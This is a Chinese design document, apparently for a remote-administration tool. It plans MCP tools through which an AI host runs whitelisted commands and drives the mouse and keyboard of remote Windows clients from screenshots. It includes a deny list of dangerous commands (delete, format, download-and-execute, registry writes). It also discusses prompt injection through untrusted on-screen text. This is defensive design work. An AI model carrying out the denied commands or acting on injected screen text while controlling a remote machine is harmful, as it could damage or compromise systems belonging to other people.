**验收**:`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码;白名单外命令被拒绝并审计;超时/离线返回明确错误;MFC 终端弹框不受影响。
---
## 7. 「新增工具」标准配方(可复用流程)
后续任何人新增一个工具,按以下 6 步走:
1. **定协议与模式**:确认复用哪个 `COMMAND_*`→`TOKEN_*` 链路,判定是模式 A(主连接 RPC)、A0(单向命令)还是 B(子链接流式),写进 §5.1 表格。
2. **定 schema**:在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`(description 用 `u8"..."`,见 §10)。
3. **加 dispatch**:在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
4. **实现数据通路**:
- 纯内存/现成字段 → 直接实现,不进 `MessageHandle`。
- 模式 A0(单向命令)→ 直接 `Send2Client` 后返回,无需挂起/超时。
- 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeMainResponse`(IO 线程同步拷贝,**不 CancelIO**)。
- 模式 A′ → 同模式 A,但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
- 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
5. **超时与清理**:带超时、迟到回收、用完即关(模式 B);每 host 单飞行(§4.5)。
6. **验收与回滚**:写 §11 的 DoD 清单,确认回归点(对应 MFC 弹框路径不变)。
---
## 8. 安全与权限模型演进
| 阶段 | 鉴权 | 授权 |
|------|------|------|
| P1/P2 | 单一静态 Bearer token | 全部只读,token 即授权 |
| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档;写操作要求完整 token 且限定可访问分组 |
| P4 | (如需)会话级授权 | 会话内临时授权 |
**P3 进入前必须评审的三条边界:**
1. **命令白名单**:`exec_command` 默认只放行只读命令(`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等);危险命令(`del`/`format`/下载执行/`reg add`)需显式放行或直接拒绝。
2. **审计日志**:每次写操作记录 `host_id + tool + 参数 + token 来源(env/CFG)+ 时间`,写 `Mprintf` + 日志文件。
3. **分组授权(新增)**:写工具必须限定「token 能操作哪些主机/分组」,**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**(`WebService.cpp:1852-1877`),而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令,越过了 Web 侧已有的分组隔离。
> 设计底线:MCP 的写能力与 Web 远程桌面同等级敏感,任何写工具都要按「可控、可审、可关、可分组隔离」交付,不允许「开了 MCP 就能无脑执行任意命令」。
---
## 9. 配置与开关扩展
延续 Phase 1 的配置风格(`settings` 段 + env 覆盖 + `UIBranding` 开关):
> **配置存储位置(重要)**:`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings`(`2015Remote.cpp:238` 的 `#else` 分支 `new iniFile`);`settings.ini` 仅在 **Debug 版**(`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`)才读,否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框(写注册表)或直接改注册表,手改 `settings.ini` 对 Release 无效。
| 配置键 | 默认 | 说明 |
|--------|------|------|
| `McpEnabled` | 0 | 总开关(已有) |
| `McpPort` | 6544 | 端口(已有) |
| `McpBind` | 127.0.0.1 | 绑定(已有) |
| `McpToken` | 空 | 静态 token(已有) |
| `McpReadonly` | 1 | **P3 新增**:1=仅只读工具,0=开放写工具(配合完整 token) |
| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**:`exec_command` 白名单(分号分隔) |
| `McpToolTimeoutMs` | 20000 | **P2b 新增**:数据等待超时(当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`,未接配置) |
新增写能力时,`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位,保持「品牌定制可裁剪」的既有约定。
---
## 10. 编码 / 兼容性规范
- **UTF-8 输出**:所有进入 JSON 的字符串用 `u8"..."` 前缀(项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK)。已在 `list_online_hosts` 的 `description` 中验证,服务端输出正确 UTF-8。
- **JSON 转义**:jsoncpp 会把非 ASCII 输出为 `\uXXXX`,这是合法 JSON,客户端解析即还原,无需处理。
- **客户端能力位**:依赖客户端能力的工具(如 `get_screenshot` 的 `CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`)必须先查能力位,不支持则返回明确错误而非空结果。
- **id 一致性**:工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源(`context::GetClientID()` 的 uint64),可直接回填 `FindHost(uint64_t)`;仅接受**在线**主机的 id,离线返回明确错误。
- **版本兼容**:子链接命令/结构体(`common/commands.h`)**禁止改动既有字段**;MCP 只消费既有协议,不新增命令(原则 2)。
- **MBCS 构建**:新增 UI 文案走 `_TR()` + lang ini(GBK),与 Phase 1 一致。
---
## 11. 验收标准(Definition of Done)
每个工具交付时,以下全部满足才算完成:
- [ ] `tools/list` 返回该工具及完整 schema。
- [ ] 正常输入返回正确结构化结果。
- [ ] 非法输入(错 id / 缺参数 / 设备离线 / 不支持能力)返回**明确的 JSON-RPC 错误码**,不崩溃、不挂死。
- [ ] 数据获取有超时、迟到回收;模式 B 用完即关(无会话泄漏)。
- [ ] 每 host 单飞行:同 host 并发请求被拒绝而非串扰。
- [ ] **回归点**:对应 MFC 弹框/Web 路径行为不变(非 MCP 触发时不受影响)。
- [ ] 编码正确(UTF-8,中文无乱码)。
- [ ] 写操作工具附带白名单/审计/分组授权(仅 P3)。
- [ ] 无新增第三方库。
---
## 12. 风险与回滚
| 风险 | 缓解 |
|------|------|
| 无头接管串扰 MFC/Web 路径 | 挂起标记按 `device_id` 唯一;`if (IsPending)` 仅在 MCP 触发时成立,其余路径原样 |
| 共享 `InDeCompressedBuffer` 被覆盖 | 模式 A 在 IO 线程 `MessageHandle` 内同步拷贝,不等异步 |
| 无请求 id 的工具响应串扰 | 每 host 单飞行(§4.4);MCP 与 MFC 各用独立子链接,互不占位(§4.2′) |
| 阻塞 httplib worker 饿死后续请求 | 低频串行可接受;文档显式声明,未来并发改「任务+轮询」(§4.5) |
| 超时/挂死 | 所有工具强制 `wait_for(timeout)` + 迟到回收 |
| 写操作越权 | P3 前三道评审边界(白名单/审计/分组授权)+ `McpReadonly` 默认 1 |
| 一次性大改影响现有功能 | 分 P2a→P2b→P2c→P3a 四期,每期独立合入/验收/回滚 |
| 输出过大拖垮 JSON | `list_files`/进程列表等大结果设上限/分页 |
**回滚策略**:每期改动集中在一两个文件(`McpServer.*` + 可选 `MessageHandle` 若干 `if` 分支),出错 revert 当期 commit 即可,不影响已交付的 P1。
---
## 附:建议执行顺序
1. **P2a**(`search_hosts` + `get_host_detail`)✅ ——纯内存、零风险,已实现,验证「多工具 dispatch」模式。
2. **P2b**(`list_processes` + `list_windows` + `get_activity_history`)✅ ——首次引入**模式 A′ 一次性子链接**(进程/窗口)与**模式 A 主连接 RPC**(历史活动)无头接管,把 §4.2/§4.2′ 的机制跑通并沉淀成 §7 配方。
3. **P2c**(`get_screenshot` 走屏幕预览链路 + `list_files`)✅ ——补上「看」的能力,仍是只读(`get_screenshot` 模式 A、`list_files` 模式 A′)。
4. **P2d**(`list_services` + `get_client_log`)✅ ——补上「看服务 / 看日志」的感知能力,仍是只读(均为模式 A′,复用 P2b/P2c 的一次性子链接机制)。
5. **P3a**(`exec_command`)——首次引入**模式 B 子链接流式**,在 P2 的挂起机制成熟后,走完安全评审再落地写操作。
每完成一期即提交、验收,再进入下一期,保持「有序、平稳、循序渐进」。
+484
View File
@@ -0,0 +1,484 @@
# MCP 远程控制(Remote Control)设计文档
> 版本:v1(设计基线) 状态:待开发 关联:`docs/Mcp_Design.md`、`docs/Mcp_Terminal_Design.md`
> 定位:本文件是「AI 远程控制一台 Windows 客户端(像人一样点鼠标、敲键盘、看画面完成任务)」功能的**唯一参照设计**,后续开发一律以本文为准,改需求先改本文。
---
## 1. 背景与目标
### 1.1 问题
现有 MCP 工具只能做「文本/命令行」层面的操作(`exec_command` 一次性命令、`terminal_*` 持久终端、`list_files`/`get_screenshot` 等只读)。很多真实任务只能在 **GUI 上完成**:点按钮、填表单、拖拽窗口、操作只有图形界面的软件。
AI 无法「看懂」视频流。把 25fps 的远程画面直接丢给视觉模型是行不通的——每秒 25 张、每张数十万像素,海量且绝大部分帧对决策无用。
### 1.2 目标
提供一组 MCP 工具,让 AI 以**「截图 → 观察 → 决策 → 注入单个输入动作 → 等待 → 重复」**的闭环驱动远程桌面:
- **Observe(看)**:按需取一帧解码后的位图(JPEG),按视觉模型能力缩放到合适尺寸。
- **Act(动)**:注入鼠标/键盘事件,复用现有远程桌面的输入注入链路。
- **Decide(想)**:由 AI/宿主(Claude Code / 任何 MCP 客户端)在工具返回结果之上编排循环——**YAMA 只提供原语,不提供黑盒 `perform_task`**(与终端设计同一哲学)。
### 1.3 关键设计决策(已确认)
| # | 决策 | 理由 |
|---|---|---|
| D1 | **截图驱动,非视频流** | 每次决策一张图,3–8s/步;视觉模型天然面向静态图 |
| D2 | **原语 + AI 编排,非黑盒任务** | 可控、可审、可中断;AI 在循环外可插判断/确认 |
| D3 | **归一化坐标(0..1)** | 彻底规避「截图缩放 vs 注入物理像素」的比例错位(最佳实践第一大坑) |
| D4 | **复用现有注入链路** | `COMMAND_SCREEN_CONTROL` + `MSG64` + 客户端 `SendInput` 已成熟 |
| D5 | **Observe 复用 `get_screenshot`** | 主连接按需抓 JPEG,无需常驻子连接,最省 |
| D6 | **独立开关 + 全程审计** | 与终端同级:`McpRemoteControl=1 && McpReadonly=0`,默认关 |
---
## 2. 行业最佳实践借鉴
本节是「科学设计」的依据,逐条落到下文对应章节。主要参考 Anthropic 官方 Computer Use / Browser Use 最佳实践与参考实现(见文末「参考」)。
| 最佳实践 | 本设计落地 |
|---|---|
| 视觉模型是「规划者+眼睛」,宿主是「手」;工具调用=动作,返回=截图 | §3 循环归属:YAMA=手,AI=规划者 |
| **客户端先自行缩图**,绝不让模型 API 静默缩放(否则坐标系统性偏移) | §5:客户端按 `max_width` 缩图后 JPEG 回传,模型见到的就是声明尺寸 |
| 声明 `display_width/height` 必须 == 实际发送的图尺寸 | §7:归一化坐标,服务器侧映射物理像素,不依赖声明尺寸 |
| 动作原语集合(move/click/drag/scroll/type/key/…) | §4:`remote_mouse`/`remote_keyboard` 的动作枚举对齐 |
| 文本指令放在截图**之前**(内容顺序) | §8/宿主侧建议:由 MCP 客户端保证,本文仅记录 |
| 缩图上限:长边 ~1568px、总像素 ~1.15MP(Claude 4.6 系);推荐 1280×720 | §5.3:`max_width` 默认建议 1280,可配 |
| 输入注入 vs 高危动作:不可逆操作应人工确认(human-in-the-loop) | §9.4:审计 + 宿主确认,YAMA 不做每动作确认(防延迟) |
| 提示注入是首要风险(模型处理不可信 UI 文本) | §9.5:全审计 + 只读关才可用 + 建议宿主隔离 |
| 长会话上下文管理(滚动缓冲/压缩) | §3:宿主职责,本文提示 |
---
## 3. 总体架构
```
┌──────────────────── 宿主(Claude Code / MCP 客户端)────────────────────┐
│ 系统提示(含远程控制约定) + 任务文本 │
│ ↓ │
│ ┌──────────────────────── 智能体循环 ─────────────────────────┐ │
│ │ get_screenshot(max_width) ──→ 视觉模型看图 ──→ 决策 ──→ │ │
│ │ remote_mouse/remote_keyboard(归一化坐标/文本) ──→ 等待0.5–2s │ │
│ │ 循环,直到任务完成或模型判定需用户介入 │ │
│ └────────────────────────────────────────────────────────────┘ │
└───────────────────────────────┬───────────────────────────────────────┘
│ JSON-RPC over HTTP POST /mcp (Bearer)
┌───────────────────────────────▼───────────────────────────────────────┐
│ YAMA 服务器(McpServer.cpp) │
│ · get_screenshot:COMMAND_SCREEN_PREVIEW_REQ → 客户端缩图 JPEG │
│ · remote_open:COMMAND_SCREEN_SPY → 建立屏幕子连接(控制会话) │
│ · remote_mouse/remote_keyboard:归一化→物理像素 → MSG64 → │
│ COMMAND_SCREEN_CONTROL(经屏幕子连接) │
└───────────────────────────────┬───────────────────────────────────────┘
│ 主连接(控制)+ 屏幕子连接(注入)
┌───────────────────────────────▼───────────────────────────────────────┐
│ 客户端(ClientDll / ScreenManager / ScreenPreview) │
│ · CaptureAndEncodePreview:抓主屏 + StretchBlt 缩图 + JPEG │
│ · ScreenManager.ProcessCommand:解码 MSG64 → SendInput │
└───────────────────────────────────────────────────────────────────────┘
```
**核心事实(已核实,见 §13 源码索引)**:
- **Observe** 走**主连接**、无子连接、无需控制模式:`COMMAND_SCREEN_PREVIEW_REQ`(247) → 客户端抓主屏缩图 JPEG → `TOKEN_SCREEN_PREVIEW_RSP`(248)。现有 `get_screenshot` 已完整实现。
- **Act(注入)必须走屏幕子连接**:`COMMAND_SCREEN_CONTROL`(20) 只能经 `COMMAND_SCREEN_SPY`(16) 建立的子连接发送(`hub.go` 注释:input events MUST go through the sub-connection)。故需要一个 `remote_open` 建立/持有该子连接。
- 服务器端同时维护一张**原始 BGRA 32bpp DIB**(`m_BitmapData_Full`),但 MCP 的 `get_screenshot` **不使用**它——它拿的是客户端已编码的 JPEG。两者坐标空间不同,见 §7。
---
## 4. 工具集设计
### 4.1 工具清单
| 工具 | 作用 | 入参(required 标注) | 出参 |
|---|---|---|---|
| `get_screenshot`(**已有,复用**) | Observe | `id`;可选 `max_width`(64..1920) | JPEG 图片(见 §5) |
| `remote_open` | 建立控制会话(屏幕子连接) | `id`;可选 `timeout_ms` | `session_id`(32hex)、`screen_w`/`screen_h`(物理虚拟桌面像素) |
| `remote_close` | 关闭会话 | `id`、`session_id` | `closed`(bool) |
| `remote_mouse` | 注入鼠标 | `id`、`session_id`、`action`、`x`、`y`(+ 按 action 需 `x2`/`y2`/`button`/`delta`/`clicks`) | `{}`(成功即空对象) |
| `remote_keyboard` | 注入键盘 | `id`、`session_id`、`action`(+ 按 action 需 `text`/`key`/`modifiers`) | `{}` |
> 命名对齐现有 `terminal_*`(open/exec/close),Observe 沿用 `get_screenshot` 避免重复造轮子。鼠标/键盘各一个工具、用 `action` 枚举区分具体动作——既对齐 Anthropic 的 `computer` 工具动作集,又贴合现有 `WebService::HandleMouse/HandleKey` 的「鼠标/键盘分家」实现。
### 4.2 `remote_mouse` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `move` | `x`,`y` | 移动光标(不按键) |
| `down` | `x`,`y`,`button`(left/middle/right) | 按下 |
| `up` | `x`,`y`,`button` | 抬起 |
| `click` | `x`,`y`,`button`(默认 left)、`clicks`(1/2/3,默认 1) | 单击/双击/三击 |
| `right_click` | `x`,`y` | 右键(`click` 的便捷别名) |
| `middle_click` | `x`,`y` | 中键 |
| `drag` | `x`,`y`,`x2`,`y2`,`button`(默认 left) | 从 (x,y) 拖到 (x2,y2) |
| `scroll` | `x`,`y`,`delta`(+/- 滚动量)、`button`(可选,垂直默认) | 滚轮 |
### 4.3 `remote_keyboard` 动作枚举
| action | 参数 | 语义 |
|---|---|---|
| `type` | `text` | 输入一串文本(字符级映射,非粘贴) |
| `key_down` | `key`、`modifiers`(可选) | 按下组合键(如 `Ctrl`+`C`) |
| `key_up` | `key`、`modifiers`(可选) | 抬起 |
| `key_press` | `key`、`modifiers`(可选) | 按下并抬起(最常用) |
`key` 取值对齐 Windows 虚拟键名(`VK_*` 去掉前缀,如 `ENTER`/`TAB`/`F5`/`LEFT`)与常见修饰键 `CTRL`/`ALT`/`SHIFT`/`WIN`。`type` 文本中的字符经客户端 `VkKeyScan`/Unicode 注入映射为键盘事件(非剪贴板粘贴,保证焦点内输入)。
### 4.4 可选/扩展工具(`remote_clipboard`、`remote_focus_window` 为 §17 代聊实验所需,建议随阶段一落地)
- `remote_clipboard`:写远程剪贴板(UTF-8→Unicode),非 ASCII 文本输入的关键路径;复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8 逻辑或新增 UTF-8 设剪贴板命令(§6.4)。
- `remote_focus_window`:`COMMAND_SCREEN_WINDOW`(153) / 客户端 `SetForegroundWindow`,把焦点给到指定窗口(配合 `list_windows` 的 `hwnd`);代聊第一步。
- `remote_cursor_position`:读当前光标(`TOKEN_NEXTSCREEN` 帧头已带 `POINT cursor`)。
- `remote_screenshot`(会话内/窗口抓屏):从子连接 DIB 服务端缩图,或按窗口抓取(`COMMAND_SCREEN_WINDOW`),供高分辨率读聊天文字与多显示器场景(§12 阶段二、§17)。
---
## 5. 屏幕捕获与编码(Observe)
### 5.1 现有链路(复用)
`get_screenshot`(`McpServer.cpp` `BuildGetScreenshot`,~1597)已实现:
1. `ParseHostIdArg` → `FindMainContext` → 能力门 `ctx->SupportsScreenPreview()`(`CLIENT_CAP_SCREEN_PREVIEW`,不支持 → `-32005`)。
2. `BeginPending(devId,"get_screenshot")` 设备级互斥(忙 → `-32003`)。
3. `reqId = NextPreviewReqId()`;`SetPendingReqId(devId, reqId)`(stale-drop 机制)。
4. `parent->ChooseScreenPreviewParams(...)` 按 RTT/FRP 自适应缩图档位 + `max_width` 覆盖(clamp 64..1920)。
5. `SendScreenPreviewRequest` → `COMMAND_SCREEN_PREVIEW_REQ`。
6. `WaitPending` 收 `[ScreenPreviewRspHeader][JPEG]`,校验 `status==OK && format==JPEG`。
7. base64 JPEG 返回:`structuredContent.image = {mimeType:"image/jpeg", width, height, bytes}`,`content=[{type:"image", data:<base64>, mimeType:"image/jpeg"}]`。
客户端 `CaptureAndEncodePreview`(`client/ScreenPreview.cpp:107`)抓**主屏** + `StretchBlt`(HALFTONE) 缩图 + GDI+ `Bitmap::Save` JPEG——**位图永不离开客户端,只回传 JPEG**。
### 5.2 缩放策略(对齐最佳实践 D5)
- 缩图在**客户端**完成(`max_width` 长边约束),服务器/MCP 宿主**不再二次缩放**,模型看到的就是声明尺寸——避免「模型 API 静默缩放导致坐标漂移」这个头号坑。
- `max_width` 由宿主按视觉模型能力显式传入;YAMA 提供**默认建议 1280**(长边),上限维持 1920。
### 5.3 推荐参数
| 项 | 建议值 | 说明 |
|---|---|---|
| `max_width`(长边) | 1280(默认)/ 1568(上限) | 1280×720 ≈ 80% 像素预算、训练常见分辨率 |
| 编码 | JPEG,quality ~70–85 | 客户端 `jpegQuality` 已有,按 `ChooseScreenPreviewParams` 自适应 |
| 返回 | base64 `image/jpeg` | 已实现 |
---
## 6. 输入注入(Act)
### 6.1 协议(复用,已核实)
- **包格式**:`[cmd:1][MSG64:48]`,可批量重复(`commands.h` `COMMAND_SCREEN_CONTROL=20`,`MSG64` 1581–1623)。
- **MSG64 布局**:`{uint64 hwnd, message, wParam, lParam, time; POINT pt;}` = 48 字节(`_WIN64` 下 `MYMSG` 即 `MSG`;客户端亦接受 28 字节 `MSG32`,由 `ulLength % 28/48` 判定)。
- **客户端解码**:`ScreenManager.cpp:1175` → `ProcessCommand(1727)` → `SendInput`:
- 鼠标:坐标取 `LOWORD/HIWORD(lParam)`,`WM_MOUSEMOVE`→`MOUSEEVENTF_MOVE`,`WM_LBUTTONDOWN/UP`→`LEFTDOWN/LEFTUP`,`WM_LBUTTONDBLCLK`→额外 `LEFTDOWN`,`WM_MBUTTONDOWN/UP`,`WM_MOUSEWHEEL`→`MOUSEEVENTF_WHEEL`(`mouseData=GET_WHEEL_DELTA_WPARAM`)。
- 键盘:`wVk=(WORD)wParam`,`wScan=(lParam>>16)&0xFF`,`KEYEVENTF_EXTENDEDKEY` 由 `(lParam>>24)&1`。
### 6.2 服务端可复用实现
`WebService::HandleMouse`(`WebService.cpp:773-865`)与 `HandleKey`(`867-952`)已从 JSON(`type/x/y/button/delta`;`keyCode/down/altKey`)构造 `MSG64` 并 `[COMMAND_SCREEN_CONTROL][MSG64]` 发送。其中 `HandleKey` 已正确处理 `lParam`:repeat=1、`MapVirtualKey` 扫瞄码、扩展键表、Alt 上下文位 29、keyup 位 30–31。
**结论**:`remote_mouse`/`remote_keyboard` 是这两个函数的 MCP 薄封装——先归一化→物理像素,再套用其 `MSG64` 构造逻辑。**不要新写注入协议**。
### 6.3 子连接前置条件(关键约束)
注入**必须**经屏幕子连接:
1. 主连接发 `COMMAND_SCREEN_SPY`(16)(载荷 `{cmd, USING_DXGI|2, ALGORITHM_*, MultiScreen}`,见 `2015RemoteDlg.cpp:8443-8470`)→ 客户端开子连接(`ClientDll.cpp:89-94`)。
2. 客户端回 `TOKEN_BITMAPINFO`(含物理 `BITMAPINFOHEADER`:`biWidth/biHeight`)——**这是归一化坐标映射所需的物理分辨率来源**。
3. 服务器发 `COMMAND_NEXT`(30) 开始流/允许控制。
4. `GetScreenContext(device_id)`(`WebService.cpp:2084`)从 `m_ScreenContexts` 取该子连接上下文。
> 实现提示:上述 1–4 的建立/持有逻辑**耦合在 `CScreenSpyDlg`(隐藏对话框)里**——子连接、帧 DIB、`TOKEN_BITMAPINFO` 处理都由它完成。MCP 的 `remote_open` 应复用 `WebService::StartRemoteDesktop`(1725) 的「隐藏对话框」路径,而非另造无对话框持有者(§13.2)。
`remote_open` 即上述 1–4 的封装;`screen_w/screen_h` 取自 `TOKEN_BITMAPINFO`。
### 6.4 文本输入:ASCII 直注 vs 非 ASCII 走剪贴板
`remote_keyboard` 的 `type` 走物理键事件(`wVk`/`wScan` → `SendInput`),只能可靠注入 ASCII/ANSI 字符——**中文等非 ASCII 文本无法靠模拟键盘键入**(需 IME 组合,键事件层面做不到)。
非 ASCII 文本的可靠路径是**剪贴板 + 粘贴**:
- 服务器设远程剪贴板命令 `COMMAND_SCREEN_SET_CLIPBOARD`(25),包 `[cmd:1][text:N]`,经屏幕子连接发送;客户端 `UpdateClientClipboard`(`ScreenManager.cpp:1223/1599`)落到剪贴板。
- 随后 `remote_keyboard` 注入 `Ctrl+V` 粘贴、`Enter` 发送。
- **编码注意(已核实)**:`UpdateClientClipboard` 用 `SetClipboardData(CF_TEXT,...)`——ANSI/GBK 格式(`CF_TEXT`,非 `CF_UNICODETEXT`)。MVP 下中文可经 `ToAnsi(utf8, 936)` 转 GBK 后直发(与终端命令同模式);但 emoji/非 GBK 字符会丢、部分新式聊天软件粘贴偏好 Unicode。更稳做法是复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→Unicode→`CF_UNICODETEXT` 逻辑(`KernelManager.cpp:1573-1587`,且已内置「设完剪贴板后自动模拟 Ctrl+V」),或新增一个 UTF-8 设剪贴板变体。见 §17 实验案例。
---
## 7. 坐标约定与映射
### 7.1 归一化坐标(D3)
- AI 在**所有鼠标动作**里输出 **0..1 浮点**:`x = 目标横向比例,y = 目标纵向比例`,相对**它看到的那张截图**。
- 服务器侧映射:`phys_x = round(norm_x * screen_w)`、`phys_y = round(norm_y * screen_h)`,其中 `screen_w/h` 是 `remote_open` 时从 `TOKEN_BITMAPINFO` 得到的**物理捕获分辨率**。
- 好处:无论 `max_width` 怎么缩、显示器多大,AI 永远只说「在图的 40%/60% 处点一下」,比例错位风险为零。
### 7.2 坐标空间一致性(最重要正确性点)
Observe(`get_screenshot` 抓**主屏**)与 Act(`SendInput` 绝对坐标在**虚拟桌面**空间)默认不同源。**阶段一只支持单显示器**:主屏 == 虚拟桌面,两者重合,映射严格正确。
多显示器(`MultiScreen`)在**阶段二**处理:届时 Observe 必须改抓**整个虚拟桌面**(而非主屏),`screen_w/h` 用虚拟桌面尺寸,归一化坐标才继续成立。**在阶段二落地前,`remote_open` 对多显示器配置应返回显式错误或降级为主屏**(见 §12)。
### 7.3 边界与钳制
- 归一化值越界(`<0` 或 `>1`)→ 钳制到 `[0,1]` 或返回 `-32602`(建议钳制,模型偶发 `1.0001`)。
- `phys_x/y` 不得越过 `screen_w/h`,注入前 `clamp(0, screen_w-1)`。
---
## 8. 控制会话状态机
### 8.1 生命周期
```
remote_open ──► 建立子连接 ──► [remote_mouse/remote_keyboard × N + get_screenshot × M]
│ │
└──(busy 互斥 / idle 回收 / 断线清理)──────────┴──► remote_close(幂等)
```
### 8.2 状态与不变量(镜像 `docs/Mcp_Terminal_Design.md` §并发)
- **单设备单控制会话**:`remote_open` 对已存在会话 → `-32003`(忙)。
- **互斥**:同一设备上,MCP 远程控制会话与**人类远程桌面观看**(`m_ScreenContexts` 已被占用)互斥——`remote_open` 发现已有屏幕子连接 → `-32003`,避免 AI 向人类正在观看/控制的画面注入。`remote_mouse/keyboard` 要求 `session_id` 匹配且会话未关闭。
- **busy 标志**:一条注入在飞时 `busy=true`,保证等待线程是唯一擦除者(沿用终端的 `m_TermMutex`+`busy` 模式;远程控制建议独立 `m_ScreenCtrlMutex`/`m_ScreenCtrlCv`)。
- **idle 回收**:会话闲置超时(默认 300s)自动关闭并 `CancelIO`(镜像 `SweepIdleTerminals`)。
- **断线清理**:`OfflineProc`/`OnTerminalClosed` 同位置加 `McpServer().OnScreenControlClosed(subCtx)`,防悬空 `subCtx` 被连接池复用(复刻终端设计里发现的第 2 个修复点)。
- **锁外 `CancelIO`**:所有取消动作在锁外执行(终端的 P2 教训)。
### 8.3 并发(P5 教训)
`httplib` 多线程并发处理请求;`remote_mouse` 会高频调用。会话状态一律 `m_ScreenCtrlMutex` 串行化,**不要假定请求串行**。高频注入可加**节流**(沿用 `SendScaledMouseMessage` 的鼠标移动节流思路,`ScreenSpyDlg.cpp:2728-2743`)。
---
## 9. 安全模型
延续既有「可控、可关、可审、可隔离」原则(与终端同级):
### 9.1 开关与门控
- 新增 `McpRemoteControl`(默认 **0=关**)。
- `remote_*` 生效条件:`McpRemoteControl=1 && McpReadonly=0`,否则 `-32006`。
- `get_screenshot` 是只读工具,不受此门控,仍仅受现有能力门(供纯观察场景)。
### 9.2 全程审计
每条 `remote_open/close/mouse/keyboard` 调用 → `PostMessageA(WM_SHOWERRORMSG, ...)` → `m_MessageLog` → `get_audit_log` 可查(复用 `McpServer.cpp:2050` 的审计模式,标题 `MCP远程控制`,标记「不可关闭」)。审计内容含:设备 id、动作、归一化坐标与换算后的物理坐标、session_id、时间戳。
### 9.3 会话级鉴权
- `session_id` 由 `GenerateRandomToken()`(32hex),每次 `remote_open` 独立随机,防串用(镜像终端 P6)。
- 注入工具校验 `session_id` 归属与设备匹配,不匹配 → `-32002`。
### 9.4 不可逆操作与人工确认
- YAMA **不做逐动作确认**(会引入每步 0.5s+ 延迟,破坏闭环节奏)。
- 高危动作(提交表单、删除、付款、改系统设置)的确认由**宿主/AI 编排层**负责(Claude Code 的权限系统 / 系统提示约定「不可逆操作前暂停询问用户」)。本文记录此分工;YAMA 提供审计留痕兜底。
### 9.5 提示注入(Prompt Injection)
视觉模型会读到客户端屏幕上的**不可信 UI 文本**,存在注入风险。缓解:远程控制本身即高危能力(默认关 + 只读关才开 + 全审计);建议宿主将远程控制会话隔离在独立权限域,并对「屏幕文本里的指令」保持怀疑。YAMA 侧不做内容分类(无意义且加延迟),记录即可。
---
## 10. 错误码
沿用现有约定(`BuildError(id, code, msg)`):
| code | 含义 | 触发 |
|---|---|---|
| -32602 | 参数非法 | action 未知、必填参数缺失、`max_width` 越界、归一化值格式错 |
| -32000 | 通用失败 | 未分类错误 |
| -32001 | 超时 | `remote_open` 等子连接/`get_screenshot` 等帧超时 |
| -32002 | 设备/会话不存在 | `id` 无在线主机、`session_id` 不存在或不匹配 |
| -32003 | 设备/会话忙 | 已有控制会话、人类远程桌面占用、`get_screenshot` 在飞 |
| -32004 | 发送失败 | 注入命令发送失败 |
| -32005 | 能力不支持 | 客户端无 `CLIENT_CAP_SCREEN_PREVIEW`(Observe)/ 不支持屏幕控制(Act) |
| -32006 | 被开关禁用 | `McpRemoteControl=0` 或 `McpReadonly=1` |
| -32008 | 非法/被拒参数 | 多显示器未支持时的 `remote_open` 降级拒绝(阶段一) |
---
## 11. 配置项
新增 1 项(`THIS_CFG` `settings` 节,键名沿用蛇形):
| 键 | 默认 | 说明 |
|---|---|---|
| `McpRemoteControl` | `0` | 远程控制开关;要求 `McpReadonly=0` 才生效 |
其余沿用:`McpEnabled`/`McpPort`/`McpBind`/`McpToken`/`McpReadonly`/`McpTerminal`/`McpCmdWhitelist`。改动需重启生效(与终端一致)。
---
## 12. 已知限制与后续扩展
### 12.1 阶段一(本期)
- **单显示器**:Observe 抓主屏,坐标空间与虚拟桌面重合;多显示器 `remote_open` 显式报错(`-32008`)。
- 注入基于**绝对坐标** `SendInput`,要求客户端处于可注入的桌面会话(已登录、非锁屏/非 UAC 安全桌面);锁屏/UAC 提示场景注入无效(客户端 `SendInput` 限制),设计文档记录为已知限制。
- **代聊实验使能项**:窗口抓屏(`COMMAND_SCREEN_WINDOW`)、UTF-8 剪贴板、窗口聚焦随阶段一落地(§17)。
### 12.2 阶段二(后续)
1. **多显示器虚拟桌面捕获**:`get_screenshot` 增加虚拟桌面抓屏,或新增 `remote_screenshot` 从子连接 DIB 服务端缩图(复用 `BmpToJpeg`/`CacheThumbnail` GDI+ 路径),使 Observe/Act 同源。
2. **窗口定向**:`remote_focus_window`(复用 `COMMAND_SCREEN_WINDOW` + 客户端 `SetForegroundWindow`)。
3. **光标读取 / 剪贴板**。
4. **服务端缩图**:从 `m_BitmapData_Full`(BGRA DIB)直接按 API 上限缩图编码,进一步省客户端往返。
---
## 13. 改动清单(供实现参照)
> 行号以当前树为准(实现前请 grep 复核)。新增/改动尽量「复用」而非「重写」。
### 13.1 `server/2015Remote/McpServer.h`
- 新增 `struct ScreenCtrlSession`(仿 `TermSession`):`sessionId`、`deviceId`、`busy`、`started`、`closed`、`lastActiveAt`、`screenW/screenH`(来自 `TOKEN_BITMAPINFO`)、`subCtx` 引用。
- 新增方法:`SetRemoteControlEnabled/IsRemoteControlEnabled`、`BeginScreenCtrlOpen/…/CloseScreenCtrlSession/SweepIdleScreenCtrl`、`OnScreenControlClosed(context*)`、`ResolveScreenCtrlSessionHost`。
